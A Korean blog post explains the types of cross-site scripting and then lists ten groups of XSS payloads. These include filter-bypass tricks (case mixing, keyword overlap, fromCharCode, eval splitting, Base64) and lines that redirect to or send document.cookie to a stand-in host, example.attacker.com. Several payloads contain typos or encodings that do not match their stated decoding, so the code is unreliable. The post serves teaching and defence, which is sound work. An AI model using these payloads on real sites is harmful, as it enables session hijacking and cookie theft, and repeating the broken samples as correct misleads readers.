정보보안/모의해킹

XSS(Cross Site Scripting) 공격 및 XSS 공격 예시 TOP10

록스타★ 2024. 6. 21. 13:48
반응형

XSS

- XSS(Cross-Site-Scripting)은 공격자가 애플리케이션에 스크립트를 삽입하고 해당 스크립트가 사용자의 웹 브라우저에서 실행되는 형태의 공격을 의미

- 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 그대로 사용할 경우 주로 발생하는 취약점

- 많이 발견되는 공격 형태는 사용자의 인증 (세션) 정보를 탈취하거나 스크립팅으로 할 수 잇는 비정상적인 기능을 수행하는 공격이 주를 이룸

 

그림(1) XSS(출처 안랩)

 

XSS 공격 종류 및 공격 기법

Reflected XSS

- Reflected XSS는 메시지나 검색 결과와 같은 HTTP Request가 서버에 전송되고 전송된 값의 일부 또는 전체가 응답에 포함되어 서버에서 반사되는 형태의 공격

- Non-Persistent Cross-Site Scripting이라고 함

- 주로 이메일이나 다른 애플리케이션 또는 메시지와 같은 형태로 전달되며, 링크 클릭을 유도하는 형태로 이루어짐

 

Stored XSS

- Stored XSS는 주입된 스크립트가 서버 (데이터베이스)에 저장되고 이후에 사용자 요청이 있을 경우 공격자가 삽입한 스크립트가 포함된 메시지 (HTTP Response)가 사용자에게 전달되어 실행되는 형태의 공격을 말함

- Persistent Cross-Site Scripting이라고 함

 

DOM-Based XSS

- DOM-Based XSS는 피해자의 웹 브라우저에서 DOM(Document Object Model) 환경을 수정하여 클라이언트 측 코드가 실행되는 형태의 XSS 공격

- HTTP (HTTP Response) 자체는 변경되지 않지만 페이지에 포함된 클라이언트 측 코드는 DOM 환경 변조로 인해 실행

- Reflected 및 Stored XSS와는 다르게 서버를 거치지 않고 실행되는 형태의 공격

 

 

XSS 공격 예시 #1 Basic

<SAMPLE>
<script>alert('xss');</script>

<SAMPLE>
<script>alert('document.cookie');</script>

<SAMPLE>
<script>loation.href="http://example.attacker.com";</script>

 

 

XSS 공격 예시 #2 Using IMG Tag

<SAMPLE>
<img src=# onerror=alert('xss')></img>

<SAMPLE>
<img src=# onerror=location.href="http://example.attacker.com"></img>

 

 

XSS 공격 예시 #3 Using IFRAME Tag

<SAMPLE>
<iframe src="javascript:alert('xss');"></iframe>

<SAMPLE>
<iframe src=# onmouseover="alert(document.cookie)"></iframe>

 

 

XSS 공격 예시 #4 None Using Tag

<SAMPLE>
";%0aalert(document.cookie);//

<SAMPLE>
";%0alocaton.hrer="http://example.attacker.com";//

 

 

XSS 공격 예시 #5 Mixed uppercase and lowercase

<SAMPLE>
<sCRipT>aLeRt('ss');</sCriPt>

<SAMPLE>
<scRIpt>alert(doCuMEnt.coOkiE);</sCripT>

<SAMPLE>
<ImG src=# onerror=AlerT('xss')></iMg>

 

 

 

XSS 공격 예시 #6 Keyword overlap

<SAMPLE - before filtered>
<scrscriptipt>alert('xss');</scrscriptipt>

<SAMPLE - after filtered>
<script>alert('xss');</script>

<SAPLE - befor filtered>
<scrscriptipt>alert(docudocumentment.coocookiekie);</scrscriptipt>

<SAMPLE - after filtered>
<script>alert(document.cookie);</script>

 

 

XSS 공격 예시 #7 Using fromCharCode

<SAMPLE>
<script>alert(String.fromCharCode(88,83,83))</script>

<SAMPLE>
<img src=javascript:alert(String.fromCharCode(88,83,83))>

 

 

XSS 공격 예시 #8 Using eval

<SAMPLE>
";%0avar%20a="ale";var%20b="ale";var%20b="rt('"var%20c="xss');";eval(a+b+c);

<SAMPLE-URL Decoding>
[\r\n]
var a="ale";var b="rt('";var c="xss');";eval(a+b+c);

<SAMPLE-eval>
alert('xss');

 

 

XSS 공격 예시 #9 Base64 Encoding

<SAMPLE>
<img
onload="eval(atob('ZG0jdW1lbnQubG9jYXRpb249lmh0dHA6Ly9leGftcGxILmF0dGFja2VyLmNvbS8iK2RvY3VtZW50LmNvb2tpZQ=='))">

<Base63 Decoding>
<img
onload="eval(atob('document.location="http://example.attacker.com/"+document.cookie'))">

 

 

XSS 공격 예시 #10 META using data

<SAMPLE>
<META HTTPEQUIV="refresh" CONTENT="0; url=data:text/html
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<Base64 Decoding>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
base64,<script>alert('XSS'></script>">

 

 

결론

XSS 공격 및 CSRF 전부 다 포스팅을 하려고 하였는데 너무 길어질 것 같아서 포스팅을 나눠서 해야겠다.

XSS 공격은 쿠키 정보등을 탈취 당할수 있기도하고, 비정상적인 기능을 수행하는 공격이다.

대응책으로 가장 좋은 방법은 웹 페이지 및 검색 가능한 곳에 스크립트 언어 작성을 불가하게 하거나 특정 스크립트 태그만 사용 가능하도록 하는 게 좋다.    

반응형